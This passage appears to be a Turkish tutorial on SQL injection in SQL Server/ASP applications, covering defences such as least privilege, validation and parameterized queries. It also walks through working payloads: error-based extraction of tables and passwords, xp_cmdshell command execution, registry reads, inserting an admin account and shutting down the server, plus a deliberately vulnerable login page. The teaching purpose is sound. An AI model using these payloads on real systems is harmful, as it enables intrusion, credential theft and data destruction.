<asp:Button id="cancel" onclick="Cancel_Click" runat="server" Text="Cancel" CausesValidation="false">
</asp:Button></td>
</tr>
</tbody>
</table>
<p><asp:Label id="result" runat="server"></asp:Label></p>
</form>
</body>
</html>
Veritabanı Hesapları – En az yetkilendirme
Bir veritabanına veritabanı yönetici şifresini kullanarak bağlanan bir uygulama salgırganın veritabanı üzerinde sınırsız komutlar çalıştırabileceği büyük bir potansiyel açıktır. Bu veritabanı yöneticisinin yapabileceği her şeyi saldırgan da yapabilir demektir.
Daha önce belirtilen metodları kullanarak saldırgan server’ın sabit disklerinin içeriğini öğrenmek için aşağıdaki kodu enjekte edebilir.
İlk komut veritabanı üzerinde geçici bir depolama alanı yaratma ve onu bazı verilerle doldurmak için kullanılır. Aşağıdaki enjekte edilmiş kod çağrılacak olan stored procedure’ün sonuç seti ile aynı yapıya sahip bir tablo yaratacak. Daha sonra bu tabloyu stored procedure’ün sonuçlarıyla birlikte çalıştıracak.
'; CREATE TABLE haxor(name varchar(255), mb_free int);
INSERT INTO haxor EXEC master..xp_fixeddrives;--
Veriyi tekrar çekmek için ikinci bir saldırı daha gerçekleştirilmelidir.
' UNION SELECT name, cast((mb_free) as varchar(10)), 1.0 FROM haxor;--
Bu sabit disklerin isimlerini ve megabyte cinsinden kullanılabilir kapasitelerini döndürür. Artık disklerin sürücü isimleri bilinmektedir, bu disklerin içeriğini görmek için yeni bir saldırı yapılabilir.
'; DROP TABLE haxor;CREATE TABLE haxor(line varchar(255) null);
INSERT INTO haxor EXEC master..xp_cmdshell 'dir /s c:\';--
Ve tekrar, ikinci bir saldırı yapılarak veriler tekrar çekilir.
' UNION SELECT line, '', 1.0 FROM haxor;--
xp_cmdshell SQL Server’ın varsayılan ayarlarında, örneğin “sa” gibi, sysadmin yetkisine sahip bir kullanıcı tarafından çalıştırılabilir. Create Table ise sadece sysadmin, db_dbowner ya da db_dlladmin kullanıcıları tarafından kullanılabilir. Bu sebeplerden dolayı uygulamalarınıza sadece gerekli foksiyonları çalıştırabilecek yetkilendirme yapmalısınız.
İşlem hesapları – En az yetkilendirme
Bir bilgisayara SQL Server yüklendiğinde, geri planda sunucuya bağlı olan uygulamalardan gelen komutları işleyen bir servis çalıştırır. Bu servis varsayılan olarak Local System hesabı ile çalışır. Bu bir Windows makinesindeki en güçlü hesaptır. Hatta yönetici hesabından daha güçlüdür.
Eğer bir saldırgan SQL Server’ın güvenlik duvarlarını geçebilirse, mesela xp_cmdshell stored prosedürünü kullanarak, o zaman SQL server’ın kurulu olduğu makineye sınırsız erişim imkanı elde edebilir.
Microsoft’un tavsiyesi SQL serverın kurulumu sırasında servise sadece gerekli kaynaklara erişebilecek izinlere sahip bir domain hesabı verilmedilir. Bu durumda saldırgan sadece SQL server’ı çalıştırmak için yapılandırılan izinlerin yetkileriyle sınırlandırılacaktır.
Verileri Temizleme ve Geçerliliğini Kontrol Etme
Bir çok uygulamada developerlar tek tırnak işaretinin sisteme erişim yolu olarak potansiyel kullanımını göz ardı ederler. Bu kullanıcının girdiği verinin bir string ifade ile yer değiştirilmesiyle gerçekleşir. Bu yol geçerli nedenlerden dolayı yararlıdır. Örneğin “O’Brian”, “D’Arcy gibi isimlerin girilebilmesine olanak sağlamasının yanısıra SQL injection saldırılarının da bir kısmını önlemektedir. Örneğin;
string surname = this.surnameTb.Text.Replace("'", "''");
string sql = "Update Users SET Surname='"+surname+"' "+
"WHERE id="+userID;
Örneklerde tek tırnak kullanılarak yapılan SQL injection saldırılarının tamamı bu yolla önlenebilir.
Bununla birlikte bir çok uygulama kullanıcıdan rakam bilgileri girmesini ister ve bunların tek tırnak işareti gibi işaretleri yoktur. Örneğin siparişlerinizi yıllara göre getiren bir uygulamanız var diyelim. Bu uygulama şöyle bir sorgu çalıştırıyor olabilir.
SELECT * FROM Orders WHERE DATEPART(YEAR, OrderDate) = 1996
Ve uygulamanın kodu çalıştırabilmesi için SQL komutunu yaratacak olan C# kodu aşağıdakine benzeyebilir.
string sql = "SELECT * FROM Orders WHERE DATEPART(YEAR, OrderDate) = "+
this.orderYearTb.Text);
Bu durumda veritabanına kod enjekte etmek yine kolaylaşır. Bütün saldırganların bu durumda yapacağı saldırılarını bir rakamla başlatmak olacaktır, ve aşağıdaki gibi, çalıştırmak istedikleri kodu enjekte edeceklerdir.
0; DELETE FROM Orders WHERE ID = 'competitor';--
Bu sebeplerden dolayı kullanıcıdan gelen verinin gerçekten bir rakam olup olmadığı ve geçerli aralıkta olup olmadığı denetlenmelidir. Örneğin;
string stringValue = orderYearTb.Text;
Regex re = new Regex(@"\D");
Match m = re.Match(someTextBox.Text);
if (m.Success)
{
// Bu rakam değil, hata mesajı fırlat.
}
else
{
int intValue = int.Parse(stringValue);
if ((intValue < 1990) || (intValue > DateTime.Now.Year))
{
// Bu gereken aralıkta değil, hata mesajı fırlat.
}
}
Parametreli Sorgular
SQL server da diğer bir çok veritabanı sistemleri gibi parametreli sorgular adı verilen bir konsepti destekler. Parametreli sorgular SQL ifadelerinin içerisine doğrudan değerleri koymak yerine parametre konulan sorgulardır. Eğer parametreli sorgular kullanılmışsa Second-Order saldırıların önemli bir kısmı engellenebilir.
string cmdText=string.Format("SELECT * FROM Customers "+
"WHERE Country='{0}'", countryName);
SqlCommand cmd = new SqlCommand(cmdText, conn);
Uygulama geliştiricinin yukarıdaki gibi SqlCommand nesnesi kullandığı yerdeki bir parametreli bir sorgu buna benzer:
string commandText = "SELECT * FROM Customers "+
"WHERE Country=@CountryName";
SqlCommand cmd = new SqlCommand(commandText, conn);
cmd.Parameters.Add("@CountryName",countryName);
Değer bir yer tutucu, parametre, ile yer değiştirilmiş ve daha sonra parametrenin değeri komuttaki parametre koleksiyonuna eklenmiştir.
Second-Order saldırıların önemli bir kısmı parametre kullanılarak engellenebilse dahi SQL ifadesinde sadece izin verilen yerlerde parametre kullanılabilir. Bazı durumlarda uygulama kullanıcıya bağlı değişkenlere bağlı olarak bir sonuç seti döndürebilir. Mesela SQL ifadesinde sonuç setini sınırlandırmak için TOP anahtar kelimesinin kullanıldığını düşünelim. Bu durumda, SQL Server 2000’de, TOP sadece literal değerler alabileceğinden dolayı fonksiyonu çalıştırmak için SQL komutunun içerisine bu değer uygulama tarafından girilmelidir. Örneğin:
string sql = string.Format("SELECT TOP {0} * FROM Products", numResults);
Stored Procedure Kullanımı
Stored procedure kullanımı bir yazılım sistemine artı bir soyut katman ekler. Bu, şu demektir: Stored procedure üzerindeki arayüz aynı kaldığı sürece arka planda çalışmakta olan tabloların veri yapısı onu kullanan uygulamaya bağlı olmadan değiştirilebilir. Bu soyut katman aynı zamanda saldırganlara karşı artı bir güvenlik bariyeri ekler. Eğer SQL serverdaki verilere erişime sadece stored procedureler üzerinden izin veriliyorsa tablolara erişim için izinler atanmasına gerek yoktur. Stored procedureler sayesinde tabloların hiçbir tanesine direkt olarak dışarıdan bir uygulama tarafından erişilemez. Dışarıdan bir uygulama tablolardaki verileri okumak ya da bu veriler üzerinde değişiklik yapmak isterse stored procedureler üzerinden bu işlemleri yapmalıdır. Bununla birlikte bazı stored procedureler, eğer yanlış kullanılırlarsa, saldırı için zayıf nokta yaratacaklarından veritabanına potansiyel zarar verici durumundadırlar.
Veritabanına girilen bilgilerin geçerliliğini ve tablodaki verilerle olan uyumluluğunu denetlemek için stored procedureler yazılabilir. Bununla birlikte parametrelerin geçerli aralıkta olup olmadığı ve hatta girilen bilginin kontrolü diğer tablolardaki verilerle çarpraz sorgulama yapılarak sağlanabilir.
Örneğin bir web sitesi için kullanıcı adı ve parola gibi kullanıcı bilgilerini tutan bir veritabanı olduğunu varsayalım. Saldırganın bir tek şifreye bile erişememesi önemlidir. Dizayn edilen stored procedureler sayesinde parola girilebilir ancak hiç bir sonuç setinde şifre bilgisi döndürülmeyecektir.
Bu web sitesi için kayıt ve authentication için kullanılan stored procedureler aşağıdakiler gibi olabilir.
• RegisterUser
• VerifyCredentials
• ChangePassword
RegisterUser web sitesine kayıt için gerekli olan diğer bilgilerle birlikte kullanıcı adını ve parolayı alır ve bir kullanıcı ID’si döndürür.
VerifyCredentials kullanıcı adını ve parolayı kabul ederek siteye log in olurken kullanılır. Eğer verilerin bir karşılığı varsa UserID döner yoksa NULL değer döner.
ChangePassword UserID’yi, eski parolayı ve yeni parolayı alır. Eğer UserID ve eski parola tutuyorsa parolayı değiştirir. İşlem sonucunda işlemin başarılı ya da başarısız olduğunu bildiren bir değer döndürür.
Yukarıdaki örnekte parola daima veritabanında kalır ve asla açıkça gösterilmez.
SQL Injection saldırılarına karşı stored procedureler her derde devaymış gibi görünselerde aslında bu tam olarak doğru değildir. Yukarıda belirttiğim gibi verinin geçerliliğini doğrulamak önemlidir ve açıktır ki stored procedureler sayesinde bu yapılabilir. Fakat, bununla birlikte eğer store procedure yeni bir komut oluşturmak için EXEC... WHERE ... komutunu kullanacaksa verinin geçerliliğini denetlemek iki kat daha önemlidir.
Örneğin bir stored procedure bir tablo yaratarak veritabanının veri modelini değiştirecekse kod aşağıdaki gibi yazılabilir:
CREATE PROCEDURE dbo.CreateUserTable
@userName sysname
AS
EXEC('CREATE TABLE '+@userName+
' (column1 varchar(100), column2 varchar(100))');
GO
Burada açıktır ki @userName’in içeriği ne olursa olsun CREATE ifadesine eklenecektir. Bu durumda saldırgan userName’i aşağıdaki hale getirecek olan bir kod enjekte edebilir.
a(c1 int); SHUTDOWN WITH NOWAIT;--
Bu durumda SQL server diğer işlerin tamamlanmasını beklemeden çalışmayı durduracaktır.
Yabancı karakterlerin olmadığından emin olmak için girilen bilginin geçerliliğinin denetlenmesi önemlidir. Uygulama userName’in bir parçası olarak boşluk bırakılıp bırakılmadığını denetleyebilir ve bu durumda CREATE ifadesi gerçekleştirilmeden önce bilgiyi red edebilir.
CREATE PROCEDURE dbo.AlterUserTable
@userName sysname
AS
IF EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dbo'
AND TABLE_TYPE = 'BASE TABLE'
AND TABLE_NAME = @userName)
BEGIN
// Tablonun varlığı biliniyor
// ilgili kodları buraya yaz.
END
GO
Hata Mesajları
Bence SQL Injection saldırılarının önlenebilmesi için en etkin yol hata mesajları döndürmemektir. Hata mesajları döndüğü sürece SQL Injection saldırılarını durduramayız çünkü dönen hata mesajları saldırgana yol göstermektedir.
Hata mesajları saldırgan için önemlidir çünkü bir saldırganın saldırıyı yaparken veritabanı ve tablo yapısı hakkında bilgi sahibi olması gerekir ve hata mesajları veritabanı hakkında saldırganların başka türlü erişemeyecekleri veriler sağlarlar.
Buradaki önemli kural detaylı bir hata mesajı çevirmek yerine ‘Hata oluştu’ gibi basit hata mesajı çevirmektir. Böylece saldırganın verebileceği zararları büyük oranda engellemiş olursunuz. Çünkü SQL injection saldırısında geri dönen hata mesajları kullanılarak saldırı derinleştirilir.
Bir şeyler yanlış gittiğinde kullanıcıya bir hata mesajı döndürmenin teknik personelle konuşurlarken yardımcı olacağı düşünülür.
Uygulamalarda genelde şuna benzer kodlar bulunur:
try
{
// Bazı database işlemleri gerçekleştiriliyor.
}
catch(Exception e)
{
errorLabel.Text = string.Concat("Sorry, your request failed. ",
"If the problem persists please report the following message ",
"to technical support", Environment.Newline, e.Message);
}
Bundan daha iyisi ise güvenliği elden bırakmadan kullanıcıya kendi özel ID’si olan basit bir hata mesajı göstermektir. Bu özel ID’nin kullanıcı için hiç bir anlamı yoktur ancak teknik personele hatanın nereden kaynaklandığını gösterebilir. Yukarıdaki kod yerine şöyle bir şey yazılabilir.
try
{
// Bazı database işlemleri gerçekleştiriliyor.
}
catch(Exception e)
{
int id = ErrorLogger.LogException(e);
errorLabel.Text = string.Format("Sorry, your request Failed. "+
"If the problem persists please report error code {0} "
"to the technical support team.", id);
}
Hata mesajları ile yapılabileceklere daha detaylı bakalım. Öncelikle aşağıdaki gibi bir form sayfamız olduğunu varsayalım.
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Aşağıdaki kod ise gerçek login işlemini gerçekleştiren process_login.asp için.
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Bağlantıyı kur
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Veritabanındaki veriye erişilebilmesi için bir saldırganın öncelikle veritabanının ve tabloların yapısı hakkında bilgi edinmesi gerekecektir.
Örneğin aşağıdaki scriptle yaratılmış bir Users tablomuz olsun.
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
Ve bu tabloya aşağıdaki kullanıcılar girilmiş olsun.
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Saldırganımızın kendisi için tabloya bir kullanıcı hesabı eklemek istediğini düşünelim. Veritabanının yapısını bilmeden bu işi yapamayacağını bilmektedir. Şansı yaver gitse bile Users tablosundaki privs sütununun anlamının ne olduğu açık değildir.
Ancak, eğer uygulamadan hata mesajı dönüyorsa, ki bu varsayılan tipik ASP davranışıdır, saldırgan veritabanının tüm yapısını belirleyebilir ve ASP uygulamasının SQL server’a bağlanmak için kullanacağı hesap tarafından okunabilecek tüm verileri okuyabilir.
İlk olarak saldırgan sorgunun çalıştığı tablo ve sütun isimlerini oluşturmak isteyecektir. Bunu yapabilmek için saldırgan SELECT sorgusunun HAVING ifadesini kullanır.
Username: ' having 1=1--
Bu aşağıdaki hata mesajını döndürür.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Artık saldırgan sorgudaki tablo adını ve ilk sütunun adını öğrenmiştir (users.id). Böylece, aşağıdaki gibi, GROUP BY ifadelerini kullanarak diğer sütun adlarını da öğrenmeye devam edebilir.
Username: ' group by users.id having 1=1--
Bu kod aşağıdaki hata mesajını döndürür.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Sonunda saldırgan aşağıdaki kullanıcı adına ulaşır.
' group by users.id, users.username, users.password, users.privs having 1=1--
Bu kod hiç bir hata mesajı çevirmez ve fonksiyon olarak aşağıdaki sorguya eşittir.
select * from users where username = ''
Artık saldırgan sorgunun sadece USERS tablosunu ve sırasıyla id, username, password ve privs sütunlarını kullandığını bilmektedir.
Eğer saldırgan her bir sütunun veri tipini de öğrenebilirse bu onun için oldukça faydalı olacaktır.
Bu aşağıdaki gibi bir TYPE CONVERSION hata mesajı sayesinde yapılabilir.
Username: ' union select sum(username) from users--
Bu kod SQL Server’ın iki row setin alanlarının sayısının eşit olup olmadığını denetlemeden önce toplama (sum) işlemini yapmaya çalışmasının avantajını kullanır.
Text alanını toplamaya çalışmanın sonucu bu hata mesajı ile döner.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Bu hata mesajı saldırgana USERNAME sütununun veri tipinin VARCHAR olduğunu söyler. Diğer taraftan, eğer saldırgan veri tipi nümerik olan bir sütunun toplamını hesaplamaya çalışırsa, iki row setin alanlarının sayısının eşit olmadığını söyleyen şu mesajı alır.
Username: ' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Saldırgan bu tekniği kullanarak veritabanındaki herhangi bir tablonun herhangi bir sütununun veri tipini belirleyebilir.
Artık saldırgan aşağıdaki gibi bir INSERT sorgusunu oluşturabilir.
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Bununla birlikte bu tekniğin potansiyeli çok daha fazladır. Saldırgan sistem ve veritabanı hakkında bilgi döndüren herhangi bir hata mesajının avantajını kullanabilir. Aşağıdaki sorgu ile standart hata mesajlarını SQL Server’dan öğrenebilirsiniz.
select * from master..sysmessages
Bu listeyi incelerseniz bazı ilginç mesajlar olduğunu görebilirsiniz.
Özellikle TYPE CONVERSION ile alakalı bir mesaj çok faydalı olabilir. Eğer bir STRING tipi INTEGER tipine çevirmeye çalışırsanız STRING’in tüm içeriği hata mesajında dönmektedir. Örneğin bizim örnek login sayfamızda aşağıdaki username SQL Server’ın spesifik versiyonunu ve üzerinde çalıştığı server işletim sistemini döndürecektir.
Username: ' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
Bu kod USERS tablosunun ilk sütunu INTEGER veri tipine sahip olduğu için sabit olan @@version değerini INTEGER veri tipine çevirmeye çalışır.
Bu teknik veritabanındaki herhangi bir tablonun herhangi bir verisini okumak için kullanılabilir. Saldırganımız kullanıcı adları ve parolalarla ilgilendiğinden USERS tablosundan kullanıcı adlarını şöyle okuyabilirler.
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Bu kod a harfinden büyük olan minimum kullanıcı adını seçer ve onu bir integer veri tipine çevirmeye çalışır. Dönecek olan hata mesajı aşağıdaki gibidir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Artık saldırganımız Admin diye bir hesap adının varlığını bilmektedir. Aynı yöntemi kullanarak diğer kullanıcı adlarını da öğrenebilir.
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Dönecek olan hata mesajı Admin’den sonra gelen ilk kullanıcı adını saldırgana verecektir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Saldırganımız bir kere kullanıcı adlarını belirledikten sonra artık parolaları öğrenmeye başlayabilir.
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Bundan daha ustaca bir teknik ise kullanıcı adlarını ve parolaları tek bir stringe dizdirmektir. Bu aynı zamanda Transact SQL ifadelerin anlamlarını değiştirmeden tek bir satırda string olarak bir araya getirilebileceklerini de göstermektedir. Aşağıdaki kod değerleri dizecektir.
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
Saldırgan şu kullanıcı adı ile login olur.
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
Bu sorgu içerisinde ‘ret’ adında tek bir sütun olan ‘foo’ adında bir tablo yaratır ve stringimizi içine yerleştirir. Normalde kısıtlı yetkilere sahip olan bir kullanıcı bile örnek ya da geçici bir veritabanında tablo yaratabilir.
Saldırgan daha sonra tablodan stringi çağırır.
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
Daha sonra etrafı dağınık bırakmamak için tabloyu siler.
Username: '; drop table foo--
Bu örneklerden de anlaşılacağı gibi eğer bir saldırgan detaylı hata mesajı alabiliyorsa işi tahmin edebileceğinizden çok daha kolaydır ve verebileceği zararlar oldukça fazladır.
Saldırgan veritabanının kontrolünü bir kere eline geçirdiğinde ağ üzerinde daha fazla kontrole sahip olmak isteyecektir. Bu şu şekillerde olabilir.
Veritabanı sunucusu üzerinde SQL Server kullanıcısı olarak komutlar çalıştırmak için xp_cmdshell gibi bir stored procedure kullanabilir.
Eğer SQL Server local sistem hesabı ile çalışıyorsa registry değerlerini ve potansiyel olarak SAM değerlerini okumak için xp_regread gibi bir stored procedure kullanabilir.
Sunucuyu kontrol altına almak için diğer stored procedureleri kullanabilir.
Linked serverlar üzerinde sorgular çalıştırabilir.
SQL Server üzerinde kötü niyetli kodları çalıştırmak için kendi stored procedurelerini yaratabilir.
Serverdaki herhangi bir dosyayı okumak için ‘bulk insert’ ifadesini kullanabilir.
Server üzerinde isteğe bağlı text dosyaları oluşturmak için BCP kullanabilir.
sp_OACreate, sp_OAMethod ve sp_OAGetProperty gibi stored procedureleri kullanarak ASP scriptin yapabileceği her şeyi yapmak için Ole Automation (Active X) uygulamaları yaratabilir.
Bunlar bilinen saldırı senaryolarının sadece bir kaç tanesidir. Büyük ihtimalle saldırganınız daha başka saldırı metodları da kullanacaktır.
Konu biraz dağılacak ancak yeri gelmişken SQL Server’ın bazı stored procedurelerinin yapısı ve yapabilecekleri hakkında biraz bilgi vermekte de fayda var.
SQL Server stored procedureleri aslında harici fonsiyonları kullanmak için SQL Servera özel bir çağrı metodu kullanan derlenmiş DLL’lerdir (Dynamic Link Libraries). SQL Server uygulamalarının C’nin ve C++’ın güçlerine erişmelerini sağlarlar ve oldukça faydalıdırlar. SQL Server’a bir takım stored procedureler eklenmiştir. Bu stored procedureler e-mail göndermek ya da registry ile etkileşim kurmak gibi çeşitli fonksiyonları yerine getirirler.
xp_cmdshell : SQL Server ile birlikte gelen ve isteğe bağlı komut satırları çalıştırmaya yarayan bir stored proceduredür.
Örneğin:
exec master..xp_cmdshell 'dir'
exec master..xp_cmdshell 'dir' komutu SQL Server prosesinin o anki çalışan directory’sinin directory listesini getirecektir.
exec master..xp_cmdshell 'net1 user' komutu ise makinedeki bütün kullanıcıların listesini size sağlayacaktır. SQL Server normalde ya local system hesabı ile ya da domain user hesabı ile çalışıyor olacağından saldırgan ciddi boyutlarda zarar verebilir.
xp_regread
SQL Serverla birlikte gelen diğer bir faydalı stored procedure seti ise xp_regXXX fonksiyonlarıdır.
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Bu fonksiyonları bazı örnek kullanımları ise şunlar olabilir.
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
Bu kod server üzerindeki kullanılabilir NULL-SESSION paylaşımlarını belirleyecektir.
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
Bu kod server üzerinde ayarlanmış bütün SNMP gruplarını ortaya çıkaracaktır. Bu bilgi ile bir saldırgan, SNMP grupları çok sık değiştirilmediğinden ve bir çok host arasında paylaşıldığından dolayı, aynı ağ üzerinde bulunan cihazların ayarlarını değiştirebilir.
Bir saldırganın bu komutları kullanarak SAM’i nasıl okuyacağını, bir sistem servisinin ayarlarını değiştirebileceğini ve makine tekrar boot edildiğinde yeni ayarlar ile calışacağını ya da sunucuya herhangi bir kullanıcı tekrar log on olduğunda istediği komutu çalıştırabileceğini hayal etmek artık zor olmasa gerek.
Diğer Stored Procedureler
xp_servicecontrol : Kullanıcıya start, stop, pause servislerini kullanma olanağı verir.
Örneğin:
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
xp_availablemedia : Makinedeki kullanılır sürücüleri açığa çıkartır.
xp_dirtree : Elde edilmek üzere bir directory ağacını olanaklı kılar.
xp_enumdsn : Serverdaki ODBC veri kaynaklarını numaralandırır.
xp_loginconfig : Sunucunun güvenlik modu hakkında bilgileri açığa çıkartır.
xp_makecab : Kullanıcıya sunucudaki ya da sunucunun erişebileceği herhangi bir dosyanın sıkıştırılmış bir arşivini yaratma olanağı verir.
xp_ntsec_enumdomains: Sunucunun erişebileceği domainleri numaralandırır.
xp_terminate_process: PID’si verilen bir işlemi sonlandırır